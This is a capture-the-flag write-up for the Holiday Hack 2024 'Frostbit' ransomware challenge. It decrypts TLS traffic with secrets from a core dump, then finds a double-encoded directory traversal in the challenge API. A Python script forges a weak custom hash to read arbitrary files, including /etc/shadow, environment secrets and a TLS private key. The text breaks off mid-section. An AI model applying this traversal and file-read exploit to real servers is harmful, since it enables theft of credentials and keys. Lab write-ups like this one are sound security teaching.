Holiday Hack 2024: Frostbit Malware
Introduction
Story
Tangle Coalbox is next to a Deactivate Frostbit terminal at the bottom part of Wombley’s side of the yard:
Tagle is still talking in the Noir dialect from last year, and introduces the challenge with the Naughty-Nice List’s now being encrypted by Frostbit ransomware:
Tangle Coalbox
Ah, there ya are, Gumshoe! Tangle Coalbox at yer service.
Heard the news, eh? The elves’ civil war took a turn for the worse, and now, things’ve really gone sideways. Someone’s gone and ransomware’d the Naughty-Nice List!
And just when you think it can’t get worse—turns out, it was none other than ol’ Wombley Cube. He used Frostbit ransomware, all right. But, in true Wombley fashion, he managed to lose the encryption keys!
That’s right, the list is locked up tight, and it’s nearly the start of the holiday season. Not ideal, huh? We’re up a frozen creek without a paddle, and Santa’s big day is comin’ fast.
The whole North Pole’s stuck in a frosty mess, unless—there’s someone out there with the know-how to break us out of this pickle.
If I know Wombley—and I reckon I do—he didn’t quite grasp the intricacies of Frostbit’s encryption. That gives us a sliver o’ hope.
If you can crack into that code, reverse-engineer it, we just might have a shot at pullin’ these holidays outta the ice.
It’s no small feat, mind ya, but somethin’ tells me you’ve got the brains to make it happen, Gumshoe.
So, no pressure, but if we don’t get this solved, the holidays could be in a real bind. I’m countin’ on ya!
And when ya do crack it, I reckon Santa’ll make sure you’re on the extra nice list this year. What d’ya say?
Artifacts
The terminal provides a link to download artifacts:
Clicking takes a few minutes:
Eventually I get a file named frostbitartifacts.zip
.
Decrypt the Naughty-Nice List
Data Overview
The downloaded artifacts contain five files:
oxdf@hacky$ unzip frostbitartifacts.zip
Archive: frostbitartifacts.zip
inflating: DoNotAlterOrDeleteMe.frostbit.json
inflating: frostbit.elf
inflating: frostbit_core_dump.13
inflating: naughty_nice_list.csv.frostbit
inflating: ransomware_traffic.pcap
The JSON file has some data that I will need later:
{"digest":"8600611488020065800944020100180b","status":"Key Set","statusid":"oRUhKcoPTXne56b4JS"}
naughty_nice_list.csv.frostbit
is the encrypted data I need to recover.
frostbit.elf
is a 64-bit ELF Linux executable:
oxdf@hacky$ file frostbit.elf
frostbit.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=twFnsUORqqujpF2IKOpc/fGToVu04lOziSdznrxR4/fBxGnDHL6jeZzih8PnXE/rTwd9D0xXFzB6_Ua8NW1, with debug_info, not stripped
It is written in Go, which is on the more difficult side to reverse engineer. Fortunately, I won’t need to.
ransomware_traffic.pcap
is a PCAP capture file:
oxdf@hacky$ file ransomware_traffic.pcap
ransomware_traffic.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
And frostbit_core_dump.13
is a core dump, memory of the running process:
oxdf@hacky$ file frostbit_core_dump.13
frostbit_core_dump.13: ELF 64-bit LSB core file, x86-64, version 1 (SYSV)
PCAP
Overview
The PCAP contains a single TCP stream containing 19 packets between a private IP (172.17.0.3) and an HTTPS (TCP 443) server on 34.163.241.47:
The server-name indication (SNI) shows api.frostbit.app
. The data is encrypted under TLS.
Acquire TLS Secrets
The code dump file has a lot of stuff in it. At this point, what’s most interesting is what looks like the cryptographic information required to decrypt a TLS connection:
oxdf@hacky$ strings frostbit_core_dump.13 | grep SECRET
bCLIENT_HANDSHAKE_TRAFFIC_SECRET
CLIENT_HANDSHAKE_TRAFFIC_SECRET 49418835d593703fe994fe6a08f5a9db4039b3261cd80e2c7652bdb3d44815cc 9bff96420d3552485d4ed586be00ec
SERVER_TRAFFIC_SECRET_0 49418835d593703fe994fe6a08f5a9db4039b3261cd80e2c7652bdb3d44815cc fdc7729c10dea59ce3619f75ef69e48818dfcbf527d4c0d8329d3766d93d682e
CLIENT_HANDSHAKE_TRAFFIC_SECRET 49418835d593703fe994fe6a08f5a9db4039b3261cd80e2c7652bdb3d44815cc 9bff96420d3552485d4ed586be00ecc56197e4d5e92f1ac1246438832be6a163
SERVER_HANDSHAKE_TRAFFIC_SECRET 49418835d593703fe994fe6a08f5a9db4039b3261cd80e2c7652bdb3d44815cc 879673accc5f589d9e0358bac13b93969fefdb09f6362b46074bbf58ee0f22b1
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\CLIENT_HANDSHAKE_TRAFFIC_SECRET 49418835d593703fe994fe6a08f5a9db
CLIENT_HANDSHAKE_TRAFFIC_SECRET 49418835d593703fe994fe6a08f5a9db4039b3261cd80e2c7652bdb3d44815cc 9bff96420d3552485d4ed586be00ecc56197e4d5e92f1ac1246438832be6a163
SERVER_HANDSHAKE_TRAFFIC_SECRET 49418835d593703fe994fe6a08f5a9db4039b3261cd80e2c7652bdb3d44815cc 879673accc5f589d9e0358bac13b93969fefdb09f6362b46074bbf58ee0f22b1
CLIENT_TRAFFIC_SECRET_0 49418835d593703fe994fe6a08f5a9db4039b3261cd80e2c7652bdb3d44815cc 1c04498f81a663f9ac56716559e5757c89d6b955307e29f8b1dae29042670150
SERVER_TRAFFIC_SECRET_0 49418835d593703fe994fe6a08f5a9db4039b3261cd80e2c7652bdb3d44815cc fdc7729c10dea59ce3619f75ef69e48818dfcbf527d4c0d8329d3766d93d682e
These are in the format logged by Wireshark. The first number represents the stream identifier, derived from the TLS handshark. Given all the secrets are associated with the same stream, it’s likely the stream in the provided PCAP. The second number for each is secret used for the traffic.
I’ll save the last four of these lines into a text file named tls.log
.
Configure Wireshark to Decrypt TLS
In Wireshark, I’ll go to Edit –> Preferences and on the left side expand Protocols –> TLS. I’ll set the “(Pre)-Master-Secret log filename” to be tls.log
:
On hitting OK, the stream is decrypted, as now GET and POST requests are visible in the data:
HTTP Stream
There are two HTTP requests in the data. The first is a GET request to the API potentially initiating a session:
GET /api/v1/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/session HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
The response contains a “nonce”, a random value to be used only once:
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Fri, 03 Jan 2025 19:00:03 GMT
Content-Type: application/json
Content-Length: 29
Connection: keep-alive
Strict-Transport-Security: max-age=31536000
{"nonce":"e40a2b07d1700d0d"}
The next request is a POST request with the same nonce as well as a field named “encryptedkey”:
POST /api/v1/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/key HTTP/1.1
Host: api.frostbit.app
User-Agent: Go-http-client/1.1
Content-Length: 1070
Content-Type: application/json
Accept-Encoding: gzip
{"encryptedkey":"37c5511407c1e49f4070a78d9026833135b845761e2000caa1c3b882552749c881cd85685783a8a17b4f4b25caa364fef9b4d6fd615c76c79b21c1d9b2bd7d692c56ad514a6782dcde837c4a39dbf9d0a56f1c9fde32b92ef4db987e9510017e1884d727dd535a33302f0141dc36fbb38a8b9f1f3370da9f95d73c22c90be94173c88bbd7dafb6cebd18852f98d7d02fb12ef4c33b55f1ee27607d1f7c4f6fa9100428f44638ff580bf87d3709cfe8b43c15fbe3ea3588852cf8af6eae6cc13aaf875733aa84737132bb1db1cf7b54fd617ce1c6d1f93aaa5d5f155eaff6bbf070233193873d0aa0912f8e7d91ce8073fc8c463110148e0964295e69767329f019b729e280cbc4f9002d62eac9feba7df2072fc953bb24caec7f19354b1ea5f68cbe28f9ba9fd999fee5ee344cdd85dd4b67ff036010e8d65a1c78b090786a36bc23e255342ae91f2eb703aad01df0681d7aa1b4c027245689b9fb24083b4ae957a767699bcd742c4e7d8894e72195c5d20fa1f4ccbf61cd86c3c14b5d9be7b9372169018e145a68502dc12f700fb1bd9464e9a71da3e2ddf76b9b13b930befe8da3792b735f6f134d00d533e2ce93509fb9eb9147dc7169bec7784d11097e4039d2f7cb2634ac057479b326ab20981527dcb270b384c6be9f1471144e8b22e1cbd8b069d24a5ef1a453bc0b97fc89b5e5eb81a8fcc699b8926ffb6d8d9baad1","nonce":"e40a2b07d1700d0d"}
The response has the data from the JSON file:
HTTP/1.1 200 OK
Server: nginx/1.27.1
Date: Fri, 03 Jan 2025 19:00:03 GMT
Content-Type: application/json
Content-Length: 97
Connection: keep-alive
Strict-Transport-Security: max-age=31536000
{"digest":"8600611488020065800944020100180b","status":"Key Set","statusid":"oRUhKcoPTXne56b4JS"}
Thinking about how ransomware works, it makes sense that the binary one the victim would generate a key, and then encrypt that using public key crypto and send it back to the actor, leaving behind data that allows the actor to associate this victim with the appropriate key.
Website Enumeration
API
I’ve got a couple endpoints from the PCAP, and they are still active:
oxdf@hacky$ curl https://api.frostbit.app/api/v1/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/session
{"nonce":"e40a2b07d1700d0d"}
It returns the same nonce
every time (which means it’s not really a nonce).
I can check the key
endpoint as well:
oxdf@hacky$ curl https://api.frostbit.app/api/v1/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/key -X POST
{"error":"415 Unsupported Media Type: Did not attempt to load JSON data because the request Content-Type was not 'application/json'."}
I’ll add a header matching what was in the PCAP and the data:
oxdf@hacky$ curl https://api.frostbit.app/api/v1/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/key -H "Content-Type: application/json" -d '{"encryptedkey":"37c5511407c1e49f4070a78d9026833135b845761e2000caa1c3b882552749c881cd85685783a8a17b4f4b25caa364fef9b4d6fd615c76c79b21c1d9b2bd7d692c56ad514a6782dcde837c4a39dbf9d0a56f1c9fde32b92ef4db987e9510017e1884d727dd535a33302f0141dc36fbb38a8b9f1f3370da9f95d73c22c90be94173c88bbd7dafb6cebd18852f98d7d02fb12ef4c33b55f1ee27607d1f7c4f6fa9100428f44638ff580bf87d3709cfe8b43c15fbe3ea3588852cf8af6eae6cc13aaf875733aa84737132bb1db1cf7b54fd617ce1c6d1f93aaa5d5f155eaff6bbf070233193873d0aa0912f8e7d91ce8073fc8c463110148e0964295e69767329f019b729e280cbc4f9002d62eac9feba7df2072fc953bb24caec7f19354b1ea5f68cbe28f9ba9fd999fee5ee344cdd85dd4b67ff036010e8d65a1c78b090786a36bc23e255342ae91f2eb703aad01df0681d7aa1b4c027245689b9fb24083b4ae957a767699bcd742c4e7d8894e72195c5d20fa1f4ccbf61cd86c3c14b5d9be7b9372169018e145a68502dc12f700fb1bd9464e9a71da3e2ddf76b9b13b930befe8da3792b735f6f134d00d533e2ce93509fb9eb9147dc7169bec7784d11097e4039d2f7cb2634ac057479b326ab20981527dcb270b384c6be9f1471144e8b22e1cbd8b069d24a5ef1a453bc0b97fc89b5e5eb81a8fcc699b8926ffb6d8d9baad1","nonce":"e40a2b07d1700d0d"}'
{"error":"Key already set"}
No matter how I change the encryptedkey
or the nonce
, it just returns the same. Changing the bot UUID returns:
oxdf@hacky$ curl https://api.frostbit.app/api/v1/bot/a29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/key -H "Content-Type: application/json" -d '{"encryptedkey":"37c5511407c1e49f4070a78d9026833135b845761e2000caa1c3b882552749c881cd85685783a8a17b4f4b25caa364fef9b4d6fd615c76c79b21c1d9b2bd7d692c56ad514a6782dcde837c4a39dbf9d0a56f1c9fde32b92ef4db987e9510017e1884d727dd535a33302f0141dc36fbb38a8b9f1f3370da9f95d73c22c90be94173c88bbd7dafb6cebd18852f98d7d02fb12ef4c33b55f1ee27607d1f7c4f6fa9100428f44638ff580bf87d3709cfe8b43c15fbe3ea3588852cf8af6eae6cc13aaf875733aa84737132bb1db1cf7b54fd617ce1c6d1f93aaa5d5f155eaff6bbf070233193873d0aa0912f8e7d91ce8073fc8c463110148e0964295e69767329f019b729e280cbc4f9002d62eac9feba7df2072fc953bb24caec7f19354b1ea5f68cbe28f9ba9fd999fee5ee344cdd85dd4b67ff036010e8d65a1c78b090786a36bc23e255342ae91f2eb703aad01df0681d7aa1b4c027245689b9fb24083b4ae957a767699bcd742c4e7d8894e72195c5d20fa1f4ccbf61cd86c3c14b5d9be7b9372169018e145a68502dc12f700fb1bd9464e9a71da3e2ddf76b9b13b930befe8da3792b735f6f134d00d533e2ce93509fb9eb9147dc7169bec7784d11097e4039d2f7cb2634ac057479b326ab20981527dcb270b384c6be9f1471144e8b22e1cbd8b069d24a5ef1a453bc0b97fc89b5e5eb81a8fcc699b8926ffb6d8d9baad0","nonce":"e40a2b07d1700d0a"}'
{"error":"Invalid UUID"}
Ransom Note
There are other strings in the memory dump with frostbit.app
in it:
oxdf@hacky$ strings frostbit_core_dump.13 | grep frostbit.app | sort -u
api.frostbit.app
api.frostbit.app.
api.frostbit.app0
api.frostbit.app:443
api.frostbit.app.google.internal.
api.frostbit.appISRG Root X1
Host: api.frostbit.app
https://api.frostbit.app/api/v1/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/sessionhttps://api.frostbit.app/api/v1/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/keyit
https://api.frostbit.app/view/oRUhKcoPTXne56b4JS/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b
_VERSION=1.20.14usr/local/sbin:/usr/local/bin:/ubin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bins://api.frostbit.app/view/oRUhKcoPTXne56b4JS/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065
The binary is Go, so sometimes strings run together. Still, I see the two I used already, as well as this one: https://api.frostbit.app/view/oRUhKcoPTXne56b4JS/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b
. This URL is interesting. It has the statusid
from the JSON file (and PCAP), the bot UUID, and a digest
value.
The page loads the ransomware note:
The links to the other sites are not live.
Debug
The website JavaScript indicates there’s some way to get debug information from the server. There’s a placeholder HTML div
:
<!-- Placeholder for Debug Data -->
<div id="debug" style="margin-top: 20px;"></div>
And JavaScript to decode it:
<script>
// Default values with placeholders for data passed from the server-side Python script
const isExpired = false;
const expiryTime = 1766534400;
const uuid = "e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4";
const debugData = false;
const deactivated = false;
const decryptedkey = false;
// Decode base64 debug data if it's not "false"
let decodedDebugData = null;
if (debugData) {
try {
decodedDebugData = atob(debugData);
} catch (e) {
console.error('Error decoding debug data: ', e, debugData);
decodedDebugData = "Error decoding debug data. " + e + " " + debugData;
}
}
And later populate the placeholder:
// Display decoded debug data if it exists
document.addEventListener('DOMContentLoaded', function () {
if (deactivated) {
document.querySelector('.scenario').innerHTML = "<p class='alert'>The ransomware has been deactivated. The Naughty-Nice List is safe from being released. The key to decrypt the Naughty-Nice list is: <strong><pre>" + decryptedkey + "</pre></strong></p>";
return;
}
// Start the countdown timer
const timerInterval = setInterval(updateTimer, 1000);
updateTimer(); // Initial call to set the timer immediately
if (decodedDebugData) {
const debugContainer = document.getElementById('debug');
debugContainer.innerHTML = `<h3>Debug Data</h3><pre style="background-color: #f4f4f4; padding: 10px; border: 1px solid #ddd; overflow-x: auto;">${decodedDebugData}</pre>`;
}
});
</script>
There’s also a reference to deactivating the release, and it seems to share the key.
A bit of experimentation shows that adding &debug=true
to the end of the URL enables this information:
The debugData
in the JavaScript is populated:
const debugData = "eyJ1dWlkIjogImUyOWU2ZTZmLTJhYjQtNGI3NC1iNmVlLWJlNzkxYjdiNTVkNCIsICJub25jZSI6ICJSRURBQ1RFRCIsICJlbmNyeXB0ZWRrZXkiOiAiUkVEQUNURUQiLCAiZGVhY3RpdmF0ZWQiOiBmYWxzZSwgICJldGltZSI6IDE3NjY1MzQ0MDB9";
It decodes to exactly what is displayed.
Crashing Site
I noted above that the URL has three potential variables in it. Changing the statusid
value returns simple JSON that says:
{"error":"Invalid Request"}
However, with debug=true
, there’s a different error:
{"debug":true,"error":"Status Id File Not Found"}
This suggests that here is a file read going on based on this value.
Playing with the UUID by changing some values returns:
{"debug":true,"error":"Invalid UUID"}
UUIDs are big enough that I can’t brute-force or guess other values.
If I remove values or make it not a UUID, it returns:
{"debug":true,"error":"Invalid UUID Format"}
If I change only the digest
value, it returns:
{"error":"Invalid Request"}
In debug mode, there’s more:
{"debug":true,"error":"Invalid Status Id or Digest"}
Typically a website will use some kind of keyed hash as a integrity check. That suggests that the digest has something to do with the status id and the file being read.
If instead of changing the value I make it a non-hex value (such as digest=0xdf
), in debug mode, the error message is longer:
{"debug":true,"error":"Status Id File Digest Validation Error: Traceback (most recent call last):\n File \"/app/frostbit/ransomware/static/FrostBiteHashlib.py\", line 55, in validate\n decoded_bytes = binascii.unhexlify(hex_string)\nbinascii.Error: Non-hexadecimal digit found\n"}
Custom Hash Algorithm
Recover
The error message says that the Python file is located in /app/frostbit/ransomware/static/FrostBiteHashlib.py
. The page already loads https://api.frostbit.app/static/frostbit.png
, which suggests that this library file may be in the same place. I’m able to download it:
oxdf@hacky$ wget https://api.frostbit.app/static/FrostBiteHashlib.py
--2025-01-03 15:05:15-- https://api.frostbit.app/static/FrostBiteHashlib.py
Resolving api.frostbit.app (api.frostbit.app)... 34.173.241.47
Connecting to api.frostbit.app (api.frostbit.app)|34.173.241.47|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2466 (2.4K) [text/x-python]
Saving to: ‘FrostBiteHashlib.py’
FrostBiteHashlib.py 100%[==========================>] 2.41K --.-KB/s in 0s
2025-01-03 15:05:16 (174 MB/s) - ‘FrostBiteHashlib.py’ saved [2466/2466]
Source Summary
The file contains a single Python class, Frostbyte128
. The __init__
function takes in the message to be hashed, the filename, the nonce, and a hash_length:
class Frostbyte128:
def __init__(self, file_bytes: bytes, filename_bytes: bytes, nonce_bytes: bytes, hash_length: int = 16):
self.file_bytes = file_bytes
self.filename_bytes = filename_bytes
self.filename_bytes_length = len(self.filename_bytes)
self.nonce_bytes = nonce_bytes
self.nonce_bytes_length = len(self.nonce_bytes)
self.hash_length = hash_length
self.hash_result = self._compute_hash()
It sets these variables and calls _compute_hash()
to store the result.
_compute_hash
loops over the input bytes XORing them with the nonce and then into the corresponding hash byte. It then continues using the file path as well basically the same way, but this time the result of byte XOR nonce is combined into the hash with bitwise AND (&
) rather than XOR (^
).:
def _compute_hash(self) -> bytes:
hash_result = bytearray(self.hash_length)
count = 0
for i in range(len(self.file_bytes)):
xrd = self.file_bytes[i] ^ self.nonce_bytes[i % self.nonce_bytes_length]
hash_result[count % self.hash_length] = hash_result[count % self.hash_length] ^ xrd
count += 1
for i in range(len(self.filename_bytes)):
count_mod = count % self.hash_length
count_filename_mod = count % self.filename_bytes_length
count_nonce_mod = count % self.nonce_bytes_length
xrd = self.filename_bytes[count_filename_mod] ^ self.nonce_bytes[count_nonce_mod]
hash_result[count_mod] = hash_result[count_mod] & xrd
count += 1
return bytes(hash_result)
There’s a few issues with this hash. First, when you change a single bit of a hash, a good algorithm will update 50% of the bits in the hash. That means that two similar but different files will have completely different hashes. That is not the case here, as changing a single byte only changes one byte of the hash.
More importantly, bitwisel AND is very bad here, as it over multiple rounds will tend to make most bits 0. Once a bit is 0, ANDing cannot turn it back to 1. If I look closely at the digest for my page, I’ll note how sparse it is (shown in hex and then binary):
8600611488020065800944020100180b
10000110000000000110000100010100100010000000001000000000011001011000000000001001010001000000001000000001000000000001100000001011
The digest
and hexdigest
functions return the computed hash as raw bytes or hex:
def digest(self) -> bytes:
"""Returns the raw binary hash result."""
return self.hash_result
def hexdigest(self) -> str:
"""Returns the hash result as a hexadecimal string."""
return binascii.hexlify(self.hash_result).decode()
There’s an update
function that doesn’t seem useful here. And a validate
function:
def validate(self, hex_string: str):
"""Validates if the provided hex string matches the computed hash."""
try:
decoded_bytes = binascii.unhexlify(hex_string)
if decoded_bytes == self.digest():
return True, None
except Exception as e:
stack_trace = traceback.format_exc()
return False, f"{stack_trace}"
return False, None
The call to binascii.unhexlify
in valdiate
is where I was able to crash this function and get the error message back in the debug data.
File Read
Strategy
At this point, my theory is that the the debug data for this compromise is stored in a file named for the statusid
, and that a hash of that file is computed using the Frostbyte128
algorithm and used as a checksum. I’m going to look for a directory traversal vulnerability in the website that would allow me to check for the existence of other files, and then try to exploit the hashing algorithm to read those files.
Directory Traversal POC
If oRUhKcoPTXne56b4JS
is a file, then accessing it as ./oRUhKcoPTXne56b4JS
should read the same file. I can try adding ./
into the URL. With curl
, I’ll need to add --path-as-is
to prevent curl
from normalizing the URL:
oxdf@hacky$ curl --path-as-is 'https://api.frostbit.app/view/./oRUhKcoPTXne56b4JS/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b&debug=true'
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
I’m not surprised this didn’t work. That’s not an endpoint that the server is expecting. What if I encode the /
(and I don’t need --path-as-is
anymore since it’s encoded)?
oxdf@hacky$ curl --path-as-is 'https://api.frostbit.app/view/.%2foRUhKcoPTXne56b4JS/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b&debug=true'
<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
Still not working. That’s because the reverse proxy, nginx, is decoding it before it gets to the Python (probably Flask?) webserver. I’ll encode the %
to %25
:
oxdf@hacky$ curl 'https://api.frostbit.app/view/.%252foRUhKcoPTXne56b4JS/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b&debug=true'
{"debug":true,"error":"Invalid Status Id or Digest"}
Amazing! This error tells me two things. First, I’ve found a directory traversal. If I change it to something that doesn’t exist, then it returns differently:
oxdf@hacky$ curl 'https://api.frostbit.app/view/.%252fnot_a_real_file/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b&debug=true'
{"debug":true,"error":"Status Id File Not Found"}
Second, it indicates that the file path is being taken into account for the hash.
I can use ..%252f
as ../
to get to any file this webserver can access on the server. For example, /etc/not_a_file
doesn’t exist, but /etc/passwd
does:
oxdf@hacky$ curl 'https://api.frostbit.app/view/..%252f..%252f..%252f..%252fetc%252fpasswd/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b&debug=true'
{"debug":true,"error":"Invalid Status Id or Digest"}
oxdf@hacky$ curl 'https://api.frostbit.app/view/..%252f..%252f..%252f..%252fetc%252fnot_a_file/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b&debug=true'
{"debug":true,"error":"Status Id File Not Found"}
It can read /etc/shadow
, which suggests it’s running as root:
oxdf@hacky$ curl'https://api.frostbit.app/view/..%252f..%252f..%252f..%252fetc%252fshadow/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/status?digest=8600611488020065800944020100180b&debug=true'
{"debug":true,"error":"Invalid Status Id or Digest"}
File Read POC
If at any point in the hash I can line up bytes in the file name such that they are the same as the bytes in the nonce that they are XORed with, then I can get those bytes to all 0, which will then make the entire hash all 0 regardless of the other values (because of the bitwise AND).
I’ll start by referencing a directory that is two nonces and then some optional padding, and then traverse back up from that directory to the actual file I want to read.
Depending on the length of the file being hashed, the nonce could start at any of eight offsets. So I’ll try up to eight times, changing the length of the filename to guarantee that I can get it lined up correctly. When it does line up correctly, the hash will be all nulls, which I can pass in.
import sys
import re
import requests
from binascii import unhexlify
from base64 import b64decode
nonce = "e40a2b07d1700d0d"
uuid = "e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4"
bin_nonce = ''.join([f"%25{c:02x}" for c in unhexlify(nonce)])
for i in range(8):
path = (bin_nonce + bin_nonce + ('a' * i ) + '/../../../../..' + sys.argv[1]).replace('/', '%252f')
url = f'https://api.frostbit.app/view/{path}/{uuid}/status?digest=00000000000000000000000000000000&debug=true'
resp = requests.get(url)
try:
data = b64decode(re.search(r'const debugData = "(.*)";', resp.text).group(1)).decode()
print(data)
break
except:
pass
Only the /
and nonce bytes need to be double URL encoded (if I go too long the server rejects the request). When it gets back valid debug data, it prints it.
It works:
oxdf@hacky$ python readfile.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
oxdf@hacky$ python readfile.py /etc/shadow
root:*:19970:0:99999:7:::
daemon:*:19970:0:99999:7:::
bin:*:19970:0:99999:7:::
sys:*:19970:0:99999:7:::
sync:*:19970:0:99999:7:::
games:*:19970:0:99999:7:::
man:*:19970:0:99999:7:::
lp:*:19970:0:99999:7:::
mail:*:19970:0:99999:7:::
news:*:19970:0:99999:7:::
uucp:*:19970:0:99999:7:::
proxy:*:19970:0:99999:7:::
www-data:*:19970:0:99999:7:::
backup:*:19970:0:99999:7:::
list:*:19970:0:99999:7:::
irc:*:19970:0:99999:7:::
_apt:*:19970:0:99999:7:::
nobody:*:19970:0:99999:7:::
I can read /proc/self/environ
(which returns null separated fields, so I’ll use tr
to split to lines):
oxdf@hacky$ python readfile.py /proc/self/environ | tr '\000' '\n'
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=6059e5d8ecc8
FROSTBIT_CHALLENGE_HASH=6487b8b081bc4317cc8017a898c7dfc8
LETSENCRYPT_EMAIL=ops@counterhack.com
PYTHONUNBUFFERED=1
VIRTUAL_PORT=8080
ARANGO_ROOT_PASSWORD=password
ARANGO_HOST=arangodb
APP_DEBUG=true
API_ENDPOINT=https://2024.holidayhackchallenge.com
VIRTUAL_HOST=api.frostbit.app
LETSENCRYPT_HOST=api.frostbit.app
LANG=C.UTF-8
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
PYTHON_VERSION=3.9.19
PYTHON_PIP_VERSION=23.0.1
PYTHON_SETUPTOOLS_VERSION=58.1.0
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/def4aec84b261b939137dd1c69eff0aabb4a7bf4/public/get-pip.py
PYTHON_GET_PIP_SHA256=bc37786ec99618416cc0a0ca32833da447f4d91ab51d2c138dd15b7af21e8e9a
HOME=/root
ARANGO_HOST
and ARANGO_ROOT_PASSWORD
are interesting, and I’ll use that in the next section. It’s using Let’s Encrypt for TLS certificates with the email ops@counterhack.com
. HOME
is /root
, suggesting strongly this webserver is running as root.
Decrypt
Recover Private Key
In the Santa Vision challenge, during silver part C, I came across an interesting message:
That certainly seems like a file on this server. I’m able to read it:
oxdf@hacky$ python readfile.py /etc/nginx/certs/api.frostbit.app.key
-----BEGIN RSA PRIVATE KEY-----
MIIJKAIBAAKCAgEAplg5eKDvk9f+gsWWZUtpFr80ojTZabm4Rty0Lorwtq5VJd37
8GgAmwxIFoddudP+xMNz9u5lRFExqDWoK2TxKbyiGTOKV9IlpZULFyfV9//i8vq4
ew7H9Ts7duNh4geHNysfWqdrVebTRZ6AeCAeJ2cZuVP4briai0XDq2KUd/sc7kgQ
...[snip]...
yIHlLUXkLRxFZPPQZNwsACD8YoRPW/w60n2z7BzA5PcIZKNJlZqa9ixBunIxZXII
jd6fDxOeVjU6usKzSeosoQCkEFvhlkVH6EK6Xfh6XDFatAnZyDNVP/PPihI=
-----END RSA PRIVATE KEY-----
Decrypt encryptedkey
I have the encryptedkey
variable from the PCAP (and it’s also a string in the memory dump):
I’ll drop that and the private key into CyberChef and it decrypts to two comma separated values:
Decrypt Naughty-Nice List
I’ll guess that these two values are a key and an IV. Passing the IV in as hex to CyberChef returns an error message:
But making it UTF-8 solves that. I’ll have CyberChef read the encrypted naughty_nice_list.csv.frostbit
as input, and it decrypts:
Row 440 is Xena Xtreme:
440,Xena Xtreme,13,Naughty,Had a surprise science experiment in the garage and left a mess with the supplies
That’s the solution to the challenge.
Outro
On solving, Tangle is both surprised and impressed:
Tangle Coalbox
Well, I’ll be a reindeer’s uncle! You’ve done it, Gumshoe! You cracked that frosty code and saved the Naughty-Nice List just in the nick of time. The elves’ll be singin’ your praises from here to the South Pole!
I knew you had it in ya. Now, let’s get these toys delivered and make this a holiday to remember. You’re a true North Pole hero!
Santa is as well:
Santa
Ho ho ho! You’ve done it! We have the Naughty-Nice List, we’re back in business! Reverse engineering Wombley’s ransomware was no easy feat. You must be some kind of technical genius!
And Alabaster:
Alabaster Snowball
You are a cyber warrior through and through! Reverse engineering Wombley’s ransomware and decrypting the Naughty-Nice List? They will create legends based on you.
Wombley is nonchalant:
Wombley Cube
What was perhaps my greatest technical achievement was also my greatest misstep. FrostBit is no more, and with that, the Naughty-Nice List is restored. Impressive work.
Deactivate Frostbit Naughty-Nice List Publication
Strategy
The final challenge is to deactivate the release of the naughty and nice list. It’s very common now for ransomware actors to both threaten victims with not being able to get their files back and having their files leaked publicly.
I noticed during Santa Vision part C silver this reference to the deactivate API:
I’ll poke at that API and look for a way to leak the API key.
API Enumeration
General Interaction
Trying to directly query the endpoint from MQTT returns a generic error:
